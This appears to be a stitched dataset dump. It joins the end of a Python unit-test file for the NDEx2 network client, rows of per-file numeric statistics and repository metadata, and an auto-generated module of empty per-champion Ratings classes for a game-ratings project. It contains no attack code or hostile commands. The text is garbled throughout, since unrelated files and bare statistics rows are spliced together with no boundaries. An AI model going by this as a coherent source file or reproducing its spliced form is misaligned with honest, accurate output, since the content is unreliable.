self.assertEqual(res, [{'hi': 'bye'}]) def test_get_neighborhood_list_return(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.post(client.DEFAULT_SERVER + '/v2/search/network/someid/query', status_code=200, json=[{'hi': 'bye'}], request_headers={'Connection': 'close'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.get_neighborhood('someid', 'query') self.assertEqual(res, [{'hi': 'bye'}]) def test_get_neighborhood_str_return(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.post(client.DEFAULT_SERVER + '/v2/search/network/someid/query', status_code=200, json='blah', request_headers={'Connection': 'close'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.get_neighborhood('someid', 'query') self.assertEqual(res, 'blah') def test_get_neighborhood_ndexv1(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict(version=None)) ndex = Ndex2() ndex.set_debug_mode(True) try: ndex.get_neighborhood('someid', 'query') self.fail('Expected Exception') except Exception as e: self.assertEqual('get_neighborhood is not supported for ' 'versions prior to 2.0, use ' 'get_neighborhood_as_cx_stream', str(e)) def test_upload_file(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() try: ndex.upload_file('foo') self.fail('Expected NDExError') except NDExError: pass def test_get_interconnectquery_as_cx_stream(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.post(client.DEFAULT_SERVER + '/v2/search/network/someid/interconnectquery', status_code=200, json={'hi': 'bye'}, request_headers={'Connection': 'close'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.get_interconnectquery_as_cx_stream('someid', 'query') self.assertEqual(res.json(), {'hi': 'bye'}) self.assertEqual(res.status_code, 200) def test_get_interconnectquery(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.post(client.DEFAULT_SERVER + '/v2/search/network/someid/interconnectquery', status_code=200, json={'data': [{'hi': 'bye'}]}, request_headers={'Connection': 'close'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.get_interconnectquery('someid', 'query') self.assertEqual(res, [{'hi': 'bye'}]) def test_get_interconnectquery_as_list(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.post(client.DEFAULT_SERVER + '/v2/search/network/someid/interconnectquery', status_code=200, json=[{'hi': 'bye'}], request_headers={'Connection': 'close'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.get_interconnectquery('someid', 'query') self.assertEqual(res, [{'hi': 'bye'}]) def test_get_interconnectquery_as_str(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.post(client.DEFAULT_SERVER + '/v2/search/network/someid/interconnectquery', status_code=200, json='foo', request_headers={'Connection': 'close'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.get_interconnectquery('someid', 'query') self.assertEqual(res, 'foo') def test_search_networks(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.post(client.DEFAULT_SERVER + '/v2/search/network?start=0&size=100', status_code=200, json={'hi': 'bye'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.search_networks(search_string='hi', account_name='bob', include_groups=True) self.assertEqual(res, {'hi': 'bye'}) def test_search_networks_ndexv1(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict(version=None)) m.post(client.DEFAULT_SERVER + '/rest/network/search/0/100', status_code=200, json={'hi': 'bye'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.search_networks(search_string='hi', account_name='bob', include_groups=True) self.assertEqual(res, {'hi': 'bye'}) def test_search_networks_by_property_filter(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() try: ndex.search_networks_by_property_filter() self.fail('Expected Exception') except Exception: pass def test_get_network_summary(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(client.DEFAULT_SERVER + '/v2/network/someid/summary', status_code=200, json={'hi': 'bye'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.get_network_summary('someid') self.assertEqual(res, {'hi': 'bye'}) def test_get_network_summary_ndexv1(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict(version=None)) m.get(client.DEFAULT_SERVER + '/rest/network/someid', status_code=200, json={'hi': 'bye'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.get_network_summary('someid') self.assertEqual(res, {'hi': 'bye'}) def test_delete_networkset_none_passed_in(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() ndex.set_debug_mode(True) try: ndex.delete_networkset(None) self.fail('Expected exception') except NDExInvalidParameterError as ne: self.assertEqual('networkset id cannot be None', str(ne)) def test_delete_networkset_non_string_passed_in(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() ndex.set_debug_mode(True) try: ndex.delete_networkset(True) self.fail('Expected exception') except NDExInvalidParameterError as ne: self.assertEqual('networkset id must be a string', str(ne)) def test_delete_networkset_not_authorized(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() try: ndex.delete_networkset('someid') self.fail('Expected exception') except NDExUnauthorizedError as ne: self.assertEqual('This method requires user authentication', str(ne)) def test_delete_networkset_success(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.delete(client.DEFAULT_SERVER + '/v2/networkset/someid', status_code=204, headers={'Content-Type': 'application/json'}) ndex = Ndex2(username='bob', password='warnerbrandis') self.assertEqual(None, ndex.delete_networkset('someid')) def test_delete_networkset_server_says_not_authorized(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.delete(client.DEFAULT_SERVER + '/v2/networkset/someid', status_code=401, headers={'Content-Type': 'application/json'}) ndex = Ndex2(username='bob', password='warnerbrandis') try: ndex.delete_networkset('someid') self.fail('Expected exception') except NDExUnauthorizedError as ne: self.assertEqual('Not authorized', str(ne)) def test_delete_networkset_server_says_not_found(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.delete(client.DEFAULT_SERVER + '/v2/networkset/someid', status_code=404, headers={'Content-Type': 'application/json'}) ndex = Ndex2(username='bob', password='warnerbrandis') try: ndex.delete_networkset('someid') self.fail('Expected exception') except NDExNotFoundError as ne: self.assertEqual('Network set with id: someid not found', str(ne)) def test_delete_networkset_server_500_error_no_json(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.delete(client.DEFAULT_SERVER + '/v2/networkset/someid', status_code=500, headers={'Content-Type': 'application/json'}) ndex = Ndex2(username='bob', password='warnerbrandis') try: ndex.delete_networkset('someid') self.fail('Expected exception') except NDExError as ne: self.assertEqual('Unknown error server returned ' 'status code: 500', str(ne)) def test_delete_networkset_server_503_with_json(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.delete(client.DEFAULT_SERVER + '/v2/networkset/someid', status_code=503, json={"errorCode": "string", "message": "string", "description": "string", "stackTrace": "string", "threadId": "string", "timeStamp": "2019-09-09T16:36:25.699Z"}, headers={'Content-Type': 'application/json'}) ndex = Ndex2(username='bob', password='warnerbrandis') try: ndex.delete_networkset('someid') self.fail('Expected exception') except NDExError as ne: self.assertTrue('Unknown error server returned ' 'status code: 503 : ' in str(ne)) def test_get_task_by_id_no_auth(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() try: ndex.get_task_by_id('someid') self.fail('Expected Exception') except NDExUnauthorizedError: pass def test_get_task_by_id_success(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.get(client.DEFAULT_SERVER + '/v2/task/someid', status_code=200, json={'hi': 'bye'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2(username='bob', password='warnerbrandis') res = ndex.get_task_by_id('someid') self.assertEqual('bye', res['hi']) def test_add_networks_to_networkset(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.post(client.DEFAULT_SERVER + '/v2/networkset/aid/members', status_code=200, json='', headers={'Content-Type': 'application/json'}) ndex = Ndex2(username='bob', password='warnerbrandis') res = ndex.add_networks_to_networkset('aid', ['someid']) self.assertEqual('', res) def test_get_network_ids_for_user_invalid_offset_limit(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() try: ndex.get_network_ids_for_user('bob', limit=None, offset=5) self.fail('Expected NDExInvalidParameterError') except NDExInvalidParameterError as ne: self.assertEqual('Limit must be set to a positive ' 'number to use offset', str(ne)) # try where limit is str and offset is None try: ndex.get_network_ids_for_user('bob', limit='ha', offset=None) self.fail('Expected NDExInvalidParameterError') except NDExInvalidParameterError as ne: self.assertEqual('Limit must be an int', str(ne)) # try where limit is str and offset is str try: ndex.get_network_ids_for_user('bob', offset='3') self.fail('Expected NDExInvalidParameterError') except NDExInvalidParameterError as ne: self.assertEqual('Offset must be an int', str(ne)) def test_get_network_ids_for_user_success_no_ids(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) resurl = client.DEFAULT_SERVER + '/v2/user?username=bob' m.get(resurl, json={'externalId': '12345'}, headers={'Content-Type': 'application/json'}) resurl = client.DEFAULT_SERVER + '/v2/user/12345/networksummary?offset=0&limit=1000' m.get(resurl, json=[], headers={'Content-Type': 'application/json'}) ndex = Ndex2() res = ndex.get_network_ids_for_user('bob') self.assertEqual([], res) def test_get_network_ids_for_user_success_with_ids(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) resurl = client.DEFAULT_SERVER + '/v2/user?username=bob' m.get(resurl, json={'externalId': '12345'}, headers={'Content-Type': 'application/json'}) resurl = client.DEFAULT_SERVER + '/v2/user/12345/networksummary?offset=0&limit=1000' m.get(resurl, json=[{'externalId': '1'}, {'externalId': '2'}], headers={'Content-Type': 'application/json'}) ndex = Ndex2() res = ndex.get_network_ids_for_user('bob') self.assertEqual(2, len(res)) self.assertTrue('1' in res) self.assertTrue('2' in res)
45.001684
96
0.544655
8,517
80,148
4.882705
0.044382
0.041552
0.055115
0.082239
0.903357
0.887318
0.861372
0.839345
0.82309
0.808517
0
0.018238
0.34737
80,148
1,780
97
45.026966
0.776799
0.019002
0
0.759744
0
0
0.142588
0.024808
0
0
0
0
0.143131
1
0.067732
false
0.024281
0.01278
0.001917
0.083067
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
84262692638090aebcb7cae60122d2e2a8bf9da0
6,545
py
Python
loldib/getratings/models/NA/na_viktor/na_viktor_bot.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
loldib/getratings/models/NA/na_viktor/na_viktor_bot.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
loldib/getratings/models/NA/na_viktor/na_viktor_bot.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
from getratings.models.ratings import Ratings class NA_Viktor_Bot_Aatrox(Ratings): pass class NA_Viktor_Bot_Ahri(Ratings): pass class NA_Viktor_Bot_Akali(Ratings): pass class NA_Viktor_Bot_Alistar(Ratings): pass class NA_Viktor_Bot_Amumu(Ratings): pass class NA_Viktor_Bot_Anivia(Ratings): pass class NA_Viktor_Bot_Annie(Ratings): pass class NA_Viktor_Bot_Ashe(Ratings): pass class NA_Viktor_Bot_AurelionSol(Ratings): pass class NA_Viktor_Bot_Azir(Ratings): pass class NA_Viktor_Bot_Bard(Ratings): pass class NA_Viktor_Bot_Blitzcrank(Ratings): pass class NA_Viktor_Bot_Brand(Ratings): pass class NA_Viktor_Bot_Braum(Ratings): pass class NA_Viktor_Bot_Caitlyn(Ratings): pass class NA_Viktor_Bot_Camille(Ratings): pass class NA_Viktor_Bot_Cassiopeia(Ratings): pass class NA_Viktor_Bot_Chogath(Ratings): pass class NA_Viktor_Bot_Corki(Ratings): pass class NA_Viktor_Bot_Darius(Ratings): pass class NA_Viktor_Bot_Diana(Ratings): pass class NA_Viktor_Bot_Draven(Ratings): pass class NA_Viktor_Bot_DrMundo(Ratings): pass class NA_Viktor_Bot_Ekko(Ratings): pass class NA_Viktor_Bot_Elise(Ratings): pass class NA_Viktor_Bot_Evelynn(Ratings): pass class NA_Viktor_Bot_Ezreal(Ratings): pass class NA_Viktor_Bot_Fiddlesticks(Ratings): pass class NA_Viktor_Bot_Fiora(Ratings): pass class NA_Viktor_Bot_Fizz(Ratings): pass class NA_Viktor_Bot_Galio(Ratings): pass class NA_Viktor_Bot_Gangplank(Ratings): pass class NA_Viktor_Bot_Garen(Ratings): pass class NA_Viktor_Bot_Gnar(Ratings): pass class NA_Viktor_Bot_Gragas(Ratings): pass class NA_Viktor_Bot_Graves(Ratings): pass class NA_Viktor_Bot_Hecarim(Ratings): pass class NA_Viktor_Bot_Heimerdinger(Ratings): pass class NA_Viktor_Bot_Illaoi(Ratings): pass class NA_Viktor_Bot_Irelia(Ratings): pass class NA_Viktor_Bot_Ivern(Ratings): pass class NA_Viktor_Bot_Janna(Ratings): pass class NA_Viktor_Bot_JarvanIV(Ratings): pass class NA_Viktor_Bot_Jax(Ratings): pass class NA_Viktor_Bot_Jayce(Ratings): pass class NA_Viktor_Bot_Jhin(Ratings): pass class NA_Viktor_Bot_Jinx(Ratings): pass class NA_Viktor_Bot_Kalista(Ratings): pass class NA_Viktor_Bot_Karma(Ratings): pass class NA_Viktor_Bot_Karthus(Ratings): pass class NA_Viktor_Bot_Kassadin(Ratings): pass class NA_Viktor_Bot_Katarina(Ratings): pass class NA_Viktor_Bot_Kayle(Ratings): pass class NA_Viktor_Bot_Kayn(Ratings): pass class NA_Viktor_Bot_Kennen(Ratings): pass class NA_Viktor_Bot_Khazix(Ratings): pass class NA_Viktor_Bot_Kindred(Ratings): pass class NA_Viktor_Bot_Kled(Ratings): pass class NA_Viktor_Bot_KogMaw(Ratings): pass class NA_Viktor_Bot_Leblanc(Ratings): pass class NA_Viktor_Bot_LeeSin(Ratings): pass class NA_Viktor_Bot_Leona(Ratings): pass class NA_Viktor_Bot_Lissandra(Ratings): pass class NA_Viktor_Bot_Lucian(Ratings): pass class NA_Viktor_Bot_Lulu(Ratings): pass class NA_Viktor_Bot_Lux(Ratings): pass class NA_Viktor_Bot_Malphite(Ratings): pass class NA_Viktor_Bot_Malzahar(Ratings): pass class NA_Viktor_Bot_Maokai(Ratings): pass class NA_Viktor_Bot_MasterYi(Ratings): pass class NA_Viktor_Bot_MissFortune(Ratings): pass class NA_Viktor_Bot_MonkeyKing(Ratings): pass class NA_Viktor_Bot_Mordekaiser(Ratings): pass class NA_Viktor_Bot_Morgana(Ratings): pass class NA_Viktor_Bot_Nami(Ratings): pass class NA_Viktor_Bot_Nasus(Ratings): pass class NA_Viktor_Bot_Nautilus(Ratings): pass class NA_Viktor_Bot_Nidalee(Ratings): pass class NA_Viktor_Bot_Nocturne(Ratings): pass class NA_Viktor_Bot_Nunu(Ratings): pass class NA_Viktor_Bot_Olaf(Ratings): pass class NA_Viktor_Bot_Orianna(Ratings): pass class NA_Viktor_Bot_Ornn(Ratings): pass class NA_Viktor_Bot_Pantheon(Ratings): pass class NA_Viktor_Bot_Poppy(Ratings): pass class NA_Viktor_Bot_Quinn(Ratings): pass class NA_Viktor_Bot_Rakan(Ratings): pass class NA_Viktor_Bot_Rammus(Ratings): pass class NA_Viktor_Bot_RekSai(Ratings): pass class NA_Viktor_Bot_Renekton(Ratings): pass class NA_Viktor_Bot_Rengar(Ratings): pass class NA_Viktor_Bot_Riven(Ratings): pass class NA_Viktor_Bot_Rumble(Ratings): pass class NA_Viktor_Bot_Ryze(Ratings): pass class NA_Viktor_Bot_Sejuani(Ratings): pass class NA_Viktor_Bot_Shaco(Ratings): pass class NA_Viktor_Bot_Shen(Ratings): pass class NA_Viktor_Bot_Shyvana(Ratings): pass class NA_Viktor_Bot_Singed(Ratings): pass class NA_Viktor_Bot_Sion(Ratings): pass class NA_Viktor_Bot_Sivir(Ratings): pass class NA_Viktor_Bot_Skarner(Ratings): pass class NA_Viktor_Bot_Sona(Ratings): pass class NA_Viktor_Bot_Soraka(Ratings): pass class NA_Viktor_Bot_Swain(Ratings): pass class NA_Viktor_Bot_Syndra(Ratings): pass class NA_Viktor_Bot_TahmKench(Ratings): pass class NA_Viktor_Bot_Taliyah(Ratings): pass class NA_Viktor_Bot_Talon(Ratings): pass class NA_Viktor_Bot_Taric(Ratings): pass class NA_Viktor_Bot_Teemo(Ratings): pass class NA_Viktor_Bot_Thresh(Ratings): pass class NA_Viktor_Bot_Tristana(Ratings): pass class NA_Viktor_Bot_Trundle(Ratings): pass class NA_Viktor_Bot_Tryndamere(Ratings): pass class NA_Viktor_Bot_TwistedFate(Ratings): pass class NA_Viktor_Bot_Twitch(Ratings): pass class NA_Viktor_Bot_Udyr(Ratings): pass class NA_Viktor_Bot_Urgot(Ratings): pass class NA_Viktor_Bot_Varus(Ratings): pass class NA_Viktor_Bot_Vayne(Ratings): pass class NA_Viktor_Bot_Veigar(Ratings): pass class NA_Viktor_Bot_Velkoz(Ratings): pass class NA_Viktor_Bot_Vi(Ratings): pass class NA_Viktor_Bot_Viktor(Ratings): pass class NA_Viktor_Bot_Vladimir(Ratings): pass class NA_Viktor_Bot_Volibear(Ratings): pass class NA_Viktor_Bot_Warwick(Ratings): pass class NA_Viktor_Bot_Xayah(Ratings): pass class NA_Viktor_Bot_Xerath(Ratings): pass class NA_Viktor_Bot_XinZhao(Ratings): pass class NA_Viktor_Bot_Yasuo(Ratings): pass class NA_Viktor_Bot_Yorick(Ratings): pass class NA_Viktor_Bot_Zac(Ratings): pass class NA_Viktor_Bot_Zed(Ratings): pass class NA_Viktor_Bot_Ziggs(Ratings): pass class NA_Viktor_Bot_Zilean(Ratings): pass class NA_Viktor_Bot_Zyra(Ratings): pass
15.695444
46
0.766692
972
6,545
4.736626
0.151235
0.209818
0.389661
0.479583
0.803432
0.803432
0
0
0
0
0
0
0.169748
6,545
416
47
15.733173
0.847258
0
0
0.498195
0
0
0
0
0
0
0
0
0
1
0
true
0.498195
0.00361
0
0.501805
0
0
0
0
null
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
1
0
0
8
0837a11e51061f186a3567556baf32766fb84ea3
15,868
py
Python
isi_sdk/apis/auth_users_api.py
Atomicology/isilon_sdk_python
91039da803ae37ed4abf8d2a3f59c333f3ef1866
[ "MIT" ]
null
null
null
isi_sdk/apis/auth_users_api.py
Atomicology/isilon_sdk_python
91039da803ae37ed4abf8d2a3f59c333f3ef1866
[ "MIT" ]
null
null
null
isi_sdk/apis/auth_users_api.py
Atomicology/isilon_sdk_python
91039da803ae37ed4abf8d2a3f59c333f3ef1866
[ "MIT" ]
null
null
null
# coding: utf-8 """ AuthUsersApi.py Copyright 2016 SmartBear Software Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from __future__ import absolute_import import sys import os import re # python 2 and python 3 compatibility library from six import iteritems from ..configuration import Configuration from ..api_client import ApiClient class AuthUsersApi(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): config = Configuration() if api_client: self.api_client = api_client else: if not config.api_client: config.api_client = ApiClient() self.api_client = config.api_client def create_user_member_of_item(self, user_member_of_item, user, **kwargs): """ Add the user to a group. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.create_user_member_of_item(user_member_of_item, user, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param GroupMember user_member_of_item: (required) :param str user: (required) :param str zone: Filter groups by zone. :param str provider: Filter groups by provider. :return: CreateResponse If the method is called asynchronously, returns the request thread. """ all_params = ['user_member_of_item', 'user', 'zone', 'provider'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method create_user_member_of_item" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'user_member_of_item' is set if ('user_member_of_item' not in params) or (params['user_member_of_item'] is None): raise ValueError("Missing the required parameter `user_member_of_item` when calling `create_user_member_of_item`") # verify the required parameter 'user' is set if ('user' not in params) or (params['user'] is None): raise ValueError("Missing the required parameter `user` when calling `create_user_member_of_item`") resource_path = '/platform/3/auth/users/{User}/member-of'.replace('{format}', 'json') path_params = {} if 'user' in params: path_params['User'] = params['user'] query_params = {} if 'zone' in params: query_params['zone'] = params['zone'] if 'provider' in params: query_params['provider'] = params['provider'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'user_member_of_item' in params: body_params = params['user_member_of_item'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['basic_auth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='CreateResponse', auth_settings=auth_settings, callback=params.get('callback')) return response def delete_user_member_of_member_of(self, user_member_of_member_of, user, **kwargs): """ Remove the user from the group. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.delete_user_member_of_member_of(user_member_of_member_of, user, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str user_member_of_member_of: Remove the user from the group. (required) :param str user: (required) :param str zone: Filter groups by zone. :param str provider: Filter groups by provider. :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['user_member_of_member_of', 'user', 'zone', 'provider'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_user_member_of_member_of" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'user_member_of_member_of' is set if ('user_member_of_member_of' not in params) or (params['user_member_of_member_of'] is None): raise ValueError("Missing the required parameter `user_member_of_member_of` when calling `delete_user_member_of_member_of`") # verify the required parameter 'user' is set if ('user' not in params) or (params['user'] is None): raise ValueError("Missing the required parameter `user` when calling `delete_user_member_of_member_of`") resource_path = '/platform/3/auth/users/{User}/member-of/{UserMemberOfMemberOf}'.replace('{format}', 'json') path_params = {} if 'user_member_of_member_of' in params: path_params['UserMemberOfMemberOf'] = params['user_member_of_member_of'] if 'user' in params: path_params['User'] = params['user'] query_params = {} if 'zone' in params: query_params['zone'] = params['zone'] if 'provider' in params: query_params['provider'] = params['provider'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['basic_auth'] response = self.api_client.call_api(resource_path, 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, auth_settings=auth_settings, callback=params.get('callback')) return response def list_user_member_of(self, user, **kwargs): """ List all groups the user is a member of. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.list_user_member_of(user, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str user: (required) :param bool resolve_names: Resolve names of personas. :param str zone: Filter groups by zone. :param str provider: Filter groups by provider. :return: UserMemberOf If the method is called asynchronously, returns the request thread. """ all_params = ['user', 'resolve_names', 'zone', 'provider'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method list_user_member_of" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'user' is set if ('user' not in params) or (params['user'] is None): raise ValueError("Missing the required parameter `user` when calling `list_user_member_of`") resource_path = '/platform/3/auth/users/{User}/member-of'.replace('{format}', 'json') path_params = {} if 'user' in params: path_params['User'] = params['user'] query_params = {} if 'resolve_names' in params: query_params['resolve_names'] = params['resolve_names'] if 'zone' in params: query_params['zone'] = params['zone'] if 'provider' in params: query_params['provider'] = params['provider'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['basic_auth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='UserMemberOf', auth_settings=auth_settings, callback=params.get('callback')) return response def update_user_change_password(self, user_change_password, user, **kwargs): """ Change the user's password. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.update_user_change_password(user_change_password, user, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param UserChangePassword user_change_password: (required) :param str user: (required) :param str zone: Specifies access zone containing user. :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['user_change_password', 'user', 'zone'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method update_user_change_password" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'user_change_password' is set if ('user_change_password' not in params) or (params['user_change_password'] is None): raise ValueError("Missing the required parameter `user_change_password` when calling `update_user_change_password`") # verify the required parameter 'user' is set if ('user' not in params) or (params['user'] is None): raise ValueError("Missing the required parameter `user` when calling `update_user_change_password`") resource_path = '/platform/3/auth/users/{User}/change-password'.replace('{format}', 'json') path_params = {} if 'user' in params: path_params['User'] = params['user'] query_params = {} if 'zone' in params: query_params['zone'] = params['zone'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'user_change_password' in params: body_params = params['user_change_password'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['basic_auth'] response = self.api_client.call_api(resource_path, 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, auth_settings=auth_settings, callback=params.get('callback')) return response
39.472637
136
0.568818
1,683
15,868
5.149138
0.124777
0.048927
0.051235
0.027694
0.81514
0.79033
0.741749
0.726748
0.706785
0.700785
0
0.001447
0.346547
15,868
401
137
39.571072
0.834314
0.27672
0
0.721154
0
0
0.206596
0.061052
0
0
0
0
0
1
0.024038
false
0.043269
0.033654
0
0.081731
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f24d25e7420823d060a71660de052dc60fd0626b
77,666
py
Python
xapi-storage/python/xapi/storage/api/volume.py
xapi-project/message-switch
3cfc7f8c556418f0697c27571946a3ddd191cc3f
[ "0BSD" ]
6
2015-05-09T18:10:05.000Z
2022-02-04T19:09:55.000Z
xapi-storage/python/xapi/storage/api/volume.py
xapi-project/message-switch
3cfc7f8c556418f0697c27571946a3ddd191cc3f
[ "0BSD" ]
35
2015-04-08T10:32:16.000Z
2021-11-05T15:17:13.000Z
xapi-storage/python/xapi/storage/api/volume.py
xapi-project/message-switch
3cfc7f8c556418f0697c27571946a3ddd191cc3f
[ "0BSD" ]
21
2015-06-17T13:55:18.000Z
2022-02-04T19:13:23.000Z
